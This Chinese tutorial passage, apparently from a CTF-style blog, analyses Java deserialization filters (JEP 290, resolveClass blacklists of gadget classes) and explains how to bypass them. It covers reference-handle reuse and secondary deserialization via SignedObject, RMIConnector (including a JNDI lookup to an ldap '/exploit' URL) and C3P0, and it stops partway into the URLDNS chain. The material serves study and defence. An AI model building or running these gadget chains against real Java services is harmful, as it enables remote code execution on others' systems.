字符串的语法规则为:
由分号 ; 分隔的多段规则 组成,空格算内容 。形式如:rule1;rule2;rule3
两类子规则:
先检查限制项 (超限直接 REJECTED),再按顺序匹配类 (命中第一条就决定 ALLOWED/REJECTED;都不命中 → UNDECIDED)。
数组按元素类型匹配 (拒 com.evil.Foo 也会拒 Foo[]/Foo[][])。
Config.createFilter 实际调用的是 Global#createFilter 静态方法,内部实际上是实例化并返回了一个 Global 对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static ObjectInputFilter createFilter (String pattern) { try { return new Global (pattern); } catch (UnsupportedOperationException uoe) { return null ; } }
Global 本身就实现了 ObjectInputFilter 接口。Global 的构造函数会解析我们传入的匹配规则 pattern,将规则解析成一个个 lambda 表达式,lambda 表达式会返回 ObjectInputFilter.Status。这些 lambda 表达式组保存在 filters 属性中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 private Global (String pattern) { boolean hasLimits = false ; this .pattern = pattern; maxArrayLength = Long.MAX_VALUE; maxDepth = Long.MAX_VALUE; maxReferences = Long.MAX_VALUE; maxStreamBytes = Long.MAX_VALUE; String[] patterns = pattern.split(";" ); filters = new ArrayList <>(patterns.length); for (int i = 0 ; i < patterns.length; i++) { String p = patterns[i]; int nameLen = p.length(); if (nameLen == 0 ) { continue ; } if (parseLimit(p)) { hasLimits = true ; continue ; } boolean negate = p.charAt(0 ) == '!' ; int poffset = negate ? 1 : 0 ; int slash = p.indexOf('/' , poffset); if (slash == poffset) { throw new IllegalArgumentException ("module name is missing in: \"" + pattern + "\"" ); } final String moduleName = (slash >= 0 ) ? p.substring(poffset, slash) : null ; poffset = (slash >= 0 ) ? slash + 1 : poffset; final Function<Class<?>, Status> patternFilter; if (p.endsWith("*" )) { if (p.endsWith(".*" )) { final String pkg = p.substring(poffset, nameLen - 1 ); if (pkg.length() < 2 ) { throw new IllegalArgumentException ("package missing in: \"" + pattern + "\"" ); } if (negate) { patternFilter = c -> matchesPackage(c, pkg) ? Status.REJECTED : Status.UNDECIDED; } else { patternFilter = c -> matchesPackage(c, pkg) ? Status.ALLOWED : Status.UNDECIDED; } } else if (p.endsWith(".**" )) { final String pkgs = p.substring(poffset, nameLen - 2 ); if (pkgs.length() < 2 ) { throw new IllegalArgumentException ("package missing in: \"" + pattern + "\"" ); } if (negate) { patternFilter = c -> c.getName().startsWith(pkgs) ? Status.REJECTED : Status.UNDECIDED; } else { patternFilter = c -> c.getName().startsWith(pkgs) ? Status.ALLOWED : Status.UNDECIDED; } } else { final String className = p.substring(poffset, nameLen - 1 ); if (negate) { patternFilter = c -> c.getName().startsWith(className) ? Status.REJECTED : Status.UNDECIDED; } else { patternFilter = c -> c.getName().startsWith(className) ? Status.ALLOWED : Status.UNDECIDED; } } } else { final String name = p.substring(poffset); if (name.isEmpty()) { throw new IllegalArgumentException ("class or package missing in: \"" + pattern + "\"" ); } if (negate) { patternFilter = c -> c.getName().equals(name) ? Status.REJECTED : Status.UNDECIDED; } else { patternFilter = c -> c.getName().equals(name) ? Status.ALLOWED : Status.UNDECIDED; } } if (moduleName == null ) { filters.add(patternFilter); } else { filters.add(c -> moduleName.equals(c.getModule().getName()) ? patternFilter.apply(c) : Status.UNDECIDED); } } if (filters.isEmpty() && !hasLimits) { throw new UnsupportedOperationException ("no non-empty patterns" ); } }
filterCheck 过滤函数 ObjectInputStream#filterCheck 会对类进行过滤。该函数逻辑为:
判断 serialFilter 是否为空
交给 serialFilter#checkInput 进行类检测
若返回状态为 null 或 REJECTED,抛出 InvalidClassException 异常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 private void filterCheck (Class<?> clazz, int arrayLength) throws InvalidClassException { if (serialFilter != null ) { RuntimeException ex = null ; ObjectInputFilter.Status status; try { status = serialFilter.checkInput(new FilterValues ( clazz, arrayLength, totalObjectRefs, depth, bin.getBytesRead())); } catch (RuntimeException e) { status = ObjectInputFilter.Status.REJECTED; ex = e; } if (Logging.filterLogger != null ) { Logging.filterLogger.log( status == null || status == ObjectInputFilter.Status.REJECTED ? Logger.Level.DEBUG : Logger.Level.TRACE, "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}" , status, clazz, arrayLength, totalObjectRefs, depth, bin.getBytesRead(), Objects.toString(ex, "n/a" )); } if (status == null || status == ObjectInputFilter.Status.REJECTED) { InvalidClassException ice = new InvalidClassException ("filter status: " + status); ice.initCause(ex); throw ice; } } }
serialFilter#checkInput 的参数是一个 FilterValues 对象(这个类实现了 ObjectInputFilter.FilterInfo 接口)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 static class FilterValues implements ObjectInputFilter .FilterInfo { final Class<?> clazz; final long arrayLength; final long totalObjectRefs; final long depth; final long streamBytes; public FilterValues (Class<?> clazz, long arrayLength, long totalObjectRefs, long depth, long streamBytes) { this .clazz = clazz; this .arrayLength = arrayLength; this .totalObjectRefs = totalObjectRefs; this .depth = depth; this .streamBytes = streamBytes; } }
前面分析过 serialFilter 实际上是实现 ObjectInputFilter 接口的 Global 类实例化的对象,因此 serialFilter.checkInput 调用的是 Global#checkInput 函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 @Override public Status checkInput (FilterInfo filterInfo) { if (filterInfo.references() < 0 || filterInfo.depth() < 0 || filterInfo.streamBytes() < 0 || filterInfo.references() > maxReferences || filterInfo.depth() > maxDepth || filterInfo.streamBytes() > maxStreamBytes) { return Status.REJECTED; } Class<?> clazz = filterInfo.serialClass(); if (clazz != null ) { if (clazz.isArray()) { if (filterInfo.arrayLength() >= 0 && filterInfo.arrayLength() > maxArrayLength) { return Status.REJECTED; } do { clazz = clazz.getComponentType(); } while (clazz.isArray()); } if (clazz.isPrimitive()) { return Status.UNDECIDED; } else { final Class<?> cl = clazz; Optional<Status> status = filters.stream() .map(f -> f.apply(cl)) .filter(p -> p != Status.UNDECIDED) .findFirst(); return status.orElse(Status.UNDECIDED); } } return Status.UNDECIDED; }
自定义过滤器 前面通过设置全局属性 jdk.serialFilter,创建的是全局过滤器,因为 ObjectInputFilter.Config 类初始化,Global 这个过滤器被创建并赋值给 Config.serialFilter,每次创建 ObjectInputStream 对象都是去拿 Config 的 serialFilter 属性。
局部自定义过滤器 若想设置局部自定义过滤器,可以调用 ObjectInputStream#setInternalObjectInputFilter,传入自定义的 ObjectInputFilter(JDK9 及以上是 setObjectInputFilter,相应的也有 getObjectInputFilter 用于获取过滤器)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 public final void setObjectInputFilter (ObjectInputFilter filter) { SecurityManager sm = System.getSecurityManager(); if (sm != null ) { sm.checkPermission(ObjectStreamConstants.SERIAL_FILTER_PERMISSION); } if (serialFilter != null && serialFilter != ObjectInputFilter.Config.getSerialFilter()) { throw new IllegalStateException ("filter can not be set more than once" ); } this .serialFilter = filter; }
例如下面这个例子通过 ObjectInputStream#setObjectInputFilter 设置由 ObjectInputFilter$Config#createFilter 创建的过滤器阻止反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import java.io.*;import java.util.*;public class Jep290FilterDemo { static final String RULE = "maxdepth=64;maxrefs=10000;maxbytes=1048576;java.base/*;com.myapp.**;!*" ; public static void main (String[] args) throws Exception { ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(RULE); byte [] ok = serialize(new ArrayList <>(Arrays.asList("a" , "b" ))); System.out.println("Allowed -> " + deserialize(ok, filter)); byte [] bad = serialize(new java .awt.Point(1 , 2 )); try { Object o = deserialize(bad, filter); System.out.println("Unexpected: " + o); } catch (InvalidClassException e) { System.out.println("Rejected as expected: " + e.getMessage()); } } static byte [] serialize(Serializable obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream (); try (ObjectOutputStream oos = new ObjectOutputStream (bos)) { oos.writeObject(obj); } return bos.toByteArray(); } static Object deserialize (byte [] buf, ObjectInputFilter f) throws Exception { try (ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (buf))) { ois.setObjectInputFilter(f); return ois.readObject(); } } }
全局自定义过滤器 全局自定义过滤器可以通过 Config#setSerialFilter 设置,但是为了安全起见只能设置一次。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public static void setSerialFilter (ObjectInputFilter filter) { Objects.requireNonNull(filter, "filter" ); SecurityManager sm = System.getSecurityManager(); if (sm != null ) { sm.checkPermission(ObjectStreamConstants.SERIAL_FILTER_PERMISSION); } synchronized (serialFilterLock) { if (serialFilter != null ) { throw new IllegalStateException ("Serial filter can only be set once" ); } serialFilter = filter; } }
绕过思路 由于 JEP290 的过滤器默认为空,因此通常对我们反序列造不成什么影响。主要影响还是在 RMI 相关利用上。
重写 resolveClass 检测原理 很多 java 题目会创建一个类继承 ObjectInputStream,并重写其 resolveClass 方法,在里面添加对反序列化类黑名单的校验。比如下面这个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public class MyObjectInputStream extends ObjectInputStream { private static final String[] blacklist = new String []{ "java\\.security.*" , "java\\.rmi.*" , "com\\.fasterxml.*" , "com\\.ctf\\.*" , "org\\.springframework.*" , "org\\.yaml.*" , "javax\\.management\\.remote.*" }; public MyObjectInputStream (InputStream inputStream) throws IOException { super (inputStream); } protected Class resolveClass (ObjectStreamClass cls) throws IOException, ClassNotFoundException { if (!contains(cls.getName())) { return super .resolveClass(cls); } else { throw new InvalidClassException ("Unexpected serialized class" , cls.getName()); } } public static boolean contains (String targetValue) { for (String forbiddenPackage : blacklist) { if (targetValue.matches(forbiddenPackage)) return true ; } return false ; } }
或是这样子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public class MyownObjectInputStream extends ObjectInputStream { private ArrayList Blacklist = new ArrayList (); public MyownObjectInputStream (InputStream in) throws IOException { super (in); this .Blacklist.add(Hashtable.class.getName()); this .Blacklist.add(HashSet.class.getName()); this .Blacklist.add(JdbcRowSetImpl.class.getName()); this .Blacklist.add(TreeMap.class.getName()); this .Blacklist.add(HotSwappableTargetSource.class.getName()); this .Blacklist.add(XString.class.getName()); this .Blacklist.add(BadAttributeValueExpException.class.getName()); this .Blacklist.add(TemplatesImpl.class.getName()); this .Blacklist.add(ToStringBean.class.getName()); this .Blacklist.add("com.sun.jndi.ldap.LdapAttribute" ); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (this .Blacklist.contains(desc.getName())) { throw new InvalidClassException ("dont do this" ); } else { return super .resolveClass(desc); } } }
当然 SerialKiller 同样也是采用这个思路:
1 2 ObjectInputStream ois = new SerialKiller (is, "/etc/serialkiller.conf" );String msg = (String) ois.readObject();
绕过思路 引用绕过 这个绕过思路只能绕过在特定类重写 resilveClass 的情况。以 FastJson 为例,该类在重写的 readObject 函数中创建了继承 ObjectInputStream 的 SecureObjectInputStream,也就是说该类下的所有对象反序列化前都需要经过 SecureObjectInputStream#resilveClass 的过滤。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private void readObject (final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { JSONObject.SecureObjectInputStream.ensureFields(); if (JSONObject.SecureObjectInputStream.fields != null && !JSONObject.SecureObjectInputStream.fields_error) { ObjectInputStream secIn = new JSONObject .SecureObjectInputStream(in); secIn.defaultReadObject(); return ; } in.defaultReadObject(); for (Object item : list) { if (item != null ) { ParserConfig.global.checkAutoType(item.getClass().getName(), null ); } } }
在 Java 反序列化的过程中,如果一个类不是 unshared,那么这个类一旦加载并实例化后,会被放在对象句柄表(handles)中。
例如对于普通对象,readNonProxyDesc 函数调用 resolveClass 根据 ObjectStreamClass 中的信息从本地加载类,然后通过 desc.initNonProxy 将加载的类放到了 ObjectStreamClass 中。而 ObjectStreamClass 存放在对象句柄表 handles 中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 ObjectStreamClass desc = new ObjectStreamClass ();int descHandle = handles.assign(unshared ? unsharedMarker : desc);passHandle = NULL_HANDLE; ObjectStreamClass readDesc = null ;try { readDesc = readClassDescriptor(); } catch (ClassNotFoundException ex) { throw (IOException) new InvalidClassException ( "failed to read class descriptor" ).initCause(ex); } Class<?> cl = null ; ClassNotFoundException resolveEx = null ;bin.setBlockDataMode(true ); final boolean checksRequired = isCustomSubclass(); try { if ((cl = resolveClass(readDesc)) == null ) { resolveEx = new ClassNotFoundException ("null class" ); } else if (checksRequired) { ReflectUtil.checkPackageAccess(cl); } } catch (ClassNotFoundException ex) { resolveEx = ex; } try { totalObjectRefs++; depth++; desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false )); } finally { depth--; } handles.finish(descHandle); passHandle = descHandle;
而后续相同的对象在序列化数据中是以“对象句柄引用”的形式存在,因此在反序列化的时候走的是 readHandle 逻辑直接根据句柄值从 handles 中取对象并返回,因此不会调用到 resolveClass 或 resolveProxyClass 函数加载类。
1 2 Object obj = handles.lookupObject(passHandle);
因此我们可以向 List、Set、Map 等类型的容器中分别添加 TemplatesImpl 和前面构造的 JsonArray,确保 JsonArray 中的 TemplatesImpl 是对象引用即可绕过。
二次反序列化 二次反序列化指的是不使用检测黑名单的 ObjectInputStream 去加载序列化对象,而是找到一条可以触发 readObject 的链子,用原生的 ObjectInputStream 去 resolveClass。
SignedObject java.security.SignedObject#getObject 可以触发反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public final class SignedObject implements Serializable { public SignedObject (Serializable object, PrivateKey signingKey, Signature signingEngine) throws IOException, InvalidKeyException, SignatureException { ByteArrayOutputStream b = new ByteArrayOutputStream (); ObjectOutput a = new ObjectOutputStream (b); a.writeObject(object); a.flush(); a.close(); this .content = b.toByteArray(); b.close(); this .sign(signingKey, signingEngine); } private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { java.io.ObjectInputStream.GetField fields = s.readFields(); content = ((byte [])fields.get("content" , null )).clone(); signature = ((byte [])fields.get("signature" , null )).clone(); thealgorithm = (String)fields.get("thealgorithm" , null ); } public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream (this .content); ObjectInput a = new ObjectInputStream (b); Object obj = a.readObject(); b.close(); a.close(); return obj; } }
SignedObject 构造函数将 object 序列化后保存在 content 属性。
readObject 将序列化数据 content 原封不动的恢复到 content 属性。
getObject 函数将 content 中的序列化数据反序列化。
因此我们只需要寻找一个能够执行类的 getObject 方法的利用链即可。
1 2 3 4 5 6 7 8 9 KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 ); KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA" );SignedObject signedObject = new SignedObject ((Serializable) URLDNS.getObject("http://www.example.com" ), privateKey, signingEngine);signedObject.getObject();
signedObject 的反序列化并不能触发二次反序列化,真正触发二次反序列化的条件是 getObject 方法的调用。
SerializationUtils org.springframework.util.SerializationUtils#deserialize 可以将参数反序列化。
1 2 3 4 5 6 7 8 9 public static Object deserialize (@Nullable byte [] bytes) { if (bytes == null ) { return null ; } try (ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (bytes))) { return ois.readObject(); } }
RMIConnector 在 javax.management.remote.rmi.RMIConnector 中, connect() 方法能触发 findRMIServer 函数调用且参数是 jmxServiceURL。
1 2 3 4 5 6 7 8 9 10 11 12 13 private final JMXServiceURL jmxServiceURL;public void connect () throws IOException { connect(null ); } public synchronized void connect (Map<String,?> environment) throws IOException { RMIServer stub = (rmiServer!=null )?rmiServer: findRMIServer(jmxServiceURL, usemap); }
JMXServiceURL 用来表示 JMX API 连接器服务器的地址 。该地址是符合 SLP 的抽象服务 URL (Abstract Service URL),其定义见 RFC 2609,并由 RFC 3111 修订。它必须形如:service:jmx:protocol:sap
protocol :用于连接到连接器服务器的传输协议 。它是由一个或多个 ASCII 字符组成的字符串;每个字符要么是字母、数字,或字符 +、 -。 第一个字符必须是字母 。大写字母会被转换为小写。
sap :连接器服务器所在的地址 。该地址使用了 RFC 2609 中为基于 IP 的协议所定义语法的一个子集 ,支持的语法为://[host[:port]][url-path]
host :可以是主机名、IPv4 数字地址,或用方括号包裹的 IPv6 数字地址(如 [2001:db8::1])。
port :十进制端口号。0 表示默认端口 或匿名端口 (取决于具体协议)。
host 与 port 都可以省略;但不能只有端口而没有主机 。
url-path (如果有)以斜杠 / 或分号 ; 开头,并一直延续到地址末尾。它可以包含使用 RFC 2609 规定的分号语法的属性 。本类不会解析 这些属性,也不会检测属性语法是否正确。
我们可以从 JMXServiceURL 分析出该类型 URL 的语法规则:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 public JMXServiceURL (String serviceURL) throws MalformedURLException { final int serviceURLLength = serviceURL.length(); for (int i = 0 ; i < serviceURLLength; i++) { char c = serviceURL.charAt(i); if (c < 32 || c >= 127 ) { throw new MalformedURLException ("Service URL contains " + "non-ASCII character 0x" + Integer.toHexString(c)); } } final String requiredPrefix = "service:jmx:" ; final int requiredPrefixLength = requiredPrefix.length(); if (!serviceURL.regionMatches(true , 0 , requiredPrefix, 0 , requiredPrefixLength)) { throw new MalformedURLException ("Service URL must start with " + requiredPrefix); } final int protoStart = requiredPrefixLength; final int protoEnd = indexOf(serviceURL, ':' , protoStart); this .protocol = serviceURL.substring(protoStart, protoEnd).toLowerCase(); if (!serviceURL.regionMatches(protoEnd, "://" , 0 , 3 )) { throw new MalformedURLException ("Missing \"://\" after " + "protocol name" ); } final int hostStart = protoEnd + 3 ; final int hostEnd; if (hostStart < serviceURLLength && serviceURL.charAt(hostStart) == '[' ) { hostEnd = serviceURL.indexOf(']' , hostStart) + 1 ; if (hostEnd == 0 ) throw new MalformedURLException ("Bad host name: [ without ]" ); this .host = serviceURL.substring(hostStart + 1 , hostEnd - 1 ); if (!isNumericIPv6Address(this .host)) { throw new MalformedURLException ("Address inside [...] must " + "be numeric IPv6 address" ); } } else { hostEnd = indexOfFirstNotInSet(serviceURL, hostNameBitSet, hostStart); this .host = serviceURL.substring(hostStart, hostEnd); } final int portEnd; if (hostEnd < serviceURLLength && serviceURL.charAt(hostEnd) == ':' ) { if (this .host.length() == 0 ) { throw new MalformedURLException ("Cannot give port number " + "without host name" ); } final int portStart = hostEnd + 1 ; portEnd = indexOfFirstNotInSet(serviceURL, numericBitSet, portStart); final String portString = serviceURL.substring(portStart, portEnd); try { this .port = Integer.parseInt(portString); } catch (NumberFormatException e) { throw new MalformedURLException ("Bad port number: \"" + portString + "\": " + e); } } else { portEnd = hostEnd; this .port = 0 ; } final int urlPathStart = portEnd; if (urlPathStart < serviceURLLength) this .urlPath = serviceURL.substring(urlPathStart); else this .urlPath = "" ; validate(); }
而 getURLPath 返回的是 url-path 部分的内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public String getURLPath () { return urlPath; }
findRMIServer 方法先检测 JMXServiceURL 的协议是否是 rmi 或 iiop;之后根据传入的 directoryURL 参数前缀主要有 /jndi/ 和 /stub/ 两个分支。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 private RMIServer findRMIServer (JMXServiceURL directoryURL, Map<String, Object> environment) throws NamingException, IOException { final boolean isIiop = RMIConnectorServer.isIiopURL(directoryURL,true ); if (isIiop) { environment.put(EnvHelp.DEFAULT_ORB, resolveOrb(environment)); } String path = directoryURL.getURLPath(); int end = path.indexOf(';' ); if (end < 0 ) end = path.length(); if (path.startsWith("/jndi/" )) return findRMIServerJNDI(path.substring(6 , end), environment, isIiop); else if (path.startsWith("/stub/" )) return findRMIServerJRMP(path.substring(6 , end), environment, isIiop); else if (path.startsWith("/ior/" )) { if (!IIOPHelper.isAvailable()) throw new IOException ("iiop protocol not available" ); return findRMIServerIIOP(path.substring(5 , end), environment, isIiop); } else { final String msg = "URL path must begin with /jndi/ or /stub/ " + "or /ior/: " + path; throw new MalformedURLException (msg); } } static boolean isIiopURL (JMXServiceURL directoryURL, boolean strict) throws MalformedURLException { String protocol = directoryURL.getProtocol(); if (protocol.equals("rmi" )) return false ; else if (protocol.equals("iiop" )) return true ; else if (strict) { throw new MalformedURLException ("URL must have protocol " + "\"rmi\" or \"iiop\": \"" + protocol + "\"" ); } return false ; }
其中 /jndi/ 分支对应的 findRMIServerJNDI 函数可以触发 JNDI:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private RMIServer findRMIServerJNDI (String jndiURL, Map<String, ?> env, boolean isIiop) throws NamingException { InitialContext ctx = new InitialContext (EnvHelp.mapToHashtable(env)); Object objref = ctx.lookup(jndiURL); ctx.close(); if (isIiop) return narrowIIOPServer(objref); else return narrowJRMPServer(objref); }
可以构造一条触发 JNDI 的利用链:
1 2 3 4 5 RMIConnector conn = new RMIConnector ( new JMXServiceURL ("service:jmx:rmi://example.com/jndi/ldap://127.0.0.1:8099/exploit" ), new HashMap <>() ); conn.connect();
而 /stub/ 分支对应的 findRMIServerJRMP 则会将 base64 参数的内容反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private RMIServer findRMIServerJRMP (String base64, Map<String, ?> env, boolean isIiop) throws IOException { final byte [] serialized; try { serialized = base64ToByteArray(base64); } final ByteArrayInputStream bin = new ByteArrayInputStream (serialized); final ClassLoader loader = EnvHelp.resolveClientClassLoader(env); final ObjectInputStream oin = (loader == null ) ? new ObjectInputStream (bin) : new ObjectInputStreamWithLoader (bin, loader); final Object stub; try { stub = oin.readObject(); } }
因此我们可以构造一条二次反序列化利用链:
1 2 3 4 5 6 RMIConnector conn = new RMIConnector ( new JMXServiceURL ("service:jmx:rmi://example.com/stub/" + Base64.getEncoder().encodeToString(URLDNS.getPayload("http://www.example.com" ))), new HashMap <>() ); conn.connect();
WrapperConnectionPoolDataSource 这是一条来自 C3P0 的二次反序列化链,其中 C3P0 坐标如下:
1 2 3 4 5 <dependency > <groupId > com.mchange</groupId > <artifactId > c3p0</artifactId > <version > 0.11.2</version > </dependency >
调用栈如下:
1 2 3 4 5 6 7 8 at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431) at com.mchange.v2.ser.SerializableUtils.deserializeFromByteArray(SerializableUtils.java:144) at com.mchange.v2.ser.SerializableUtils.fromByteArray(SerializableUtils.java:123) at com.mchange.v2.c3p0.impl.C3P0ImplUtils.parseUserOverridesAsString(C3P0ImplUtils.java:252) at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource$1.vetoableChange(WrapperConnectionPoolDataSource.java:58) at java.beans.VetoableChangeSupport.fireVetoableChange(VetoableChangeSupport.java:375) at java.beans.VetoableChangeSupport.fireVetoableChange(VetoableChangeSupport.java:271) at com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase.setUserOverridesAsString(WrapperConnectionPoolDataSourceBase.java:441)
其中 com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString 函数会将子串 userOverridesAsString[len("HexAsciiSerializedMap") + 1 : -1] 从 HEX 转换为 bytes,然后调用 com.mchange.v2.ser.SerializableUtils#fromByteArray 进行后续反序列化操作。
这里 userOverridesAsString 就是调用 com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString 时传入的参数。
1 2 3 4 5 6 7 8 9 10 private final static String HASM_HEADER = "HexAsciiSerializedMap" ;public static Map parseUserOverridesAsString ( String userOverridesAsString ) throws IOException, ClassNotFoundException { if (userOverridesAsString != null ) { String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1 , userOverridesAsString.length() - 1 ); byte [] serBytes = ByteUtils.fromHexAscii( hexAscii ); return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) ); } else return Collections.EMPTY_MAP; }
最后会在 SerializableUtils#deserializeFromByteArray 函数进行实际的反序列化操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static Object fromByteArray (byte [] bytes) throws IOException, ClassNotFoundException{ Object out = deserializeFromByteArray( bytes ); if (out instanceof IndirectlySerialized) return ((IndirectlySerialized) out).getObject(); else return out; } public static Object deserializeFromByteArray (byte [] bytes) throws IOException, ClassNotFoundException{ ObjectInputStream in = new ObjectInputStream (new ByteArrayInputStream (bytes)); return in.readObject(); }
因此我们可以构造如下二次反序列化利用链:
1 2 3 4 String hex = ByteUtils.toHexAscii(URLDNS.getPayload("http://www.example.com" ));String payload = "HexAsciiSerializedMap:" + hex + '!' ;WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource ();wrapperConnectionPoolDataSource.setUserOverridesAsString(payload);
JDK 原生反序列化利用链 主要是一些不依赖第三方库的 Java 反序列化利用链。
URLDNS URLDNS 反序列化利用链可以通过 DNS 请求来验证反序列化漏洞的可利用性。这条利用链使用 Java 内置的类构造,对第三方库没有依赖,可以在没有回显的情况下验证是否存在反序列化漏洞。我们可以在 https://requestrepo.com/ 网站上进行 DNS 请求测试。
原理分析 调用栈如下:
1 2 3 4 5 at java.net.URLStreamHandler.getHostAddress(URLStreamHandler.java:434) at java.net.URLStreamHandler.hashCode(URLStreamHandler.java:359) at java.net.URL.hashCode(URL.java:885) at java.util.HashMap.hash(HashMap.java:339) at java.util.HashMap.readObject(HashMap.java:1413)
首先在 HashMap.readObject 中会遍历 HashMap 的成员并对 key 调用 HashMap.hash 函数计算 hash。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } } private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { int mappings = s.readInt(); else if (mappings > 0 ) { for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
HashMap#hash 函数中会调用 key 的 hashCode 方法,也就是 java.net.URL#hashCode。
1 2 3 4 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
在 URL#hashCode 函数中,由于我们设置 url 对象的 hashCode 成员值为 -1,因此会调用 URLStreamHandler#hashCode 函数。
1 2 3 4 5 6 7 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
URLStreamHandler#hashCode 函数会调用 getHostAddress 函数获取 URL 对应的 ip 地址,也就会发送 DNS 请求。
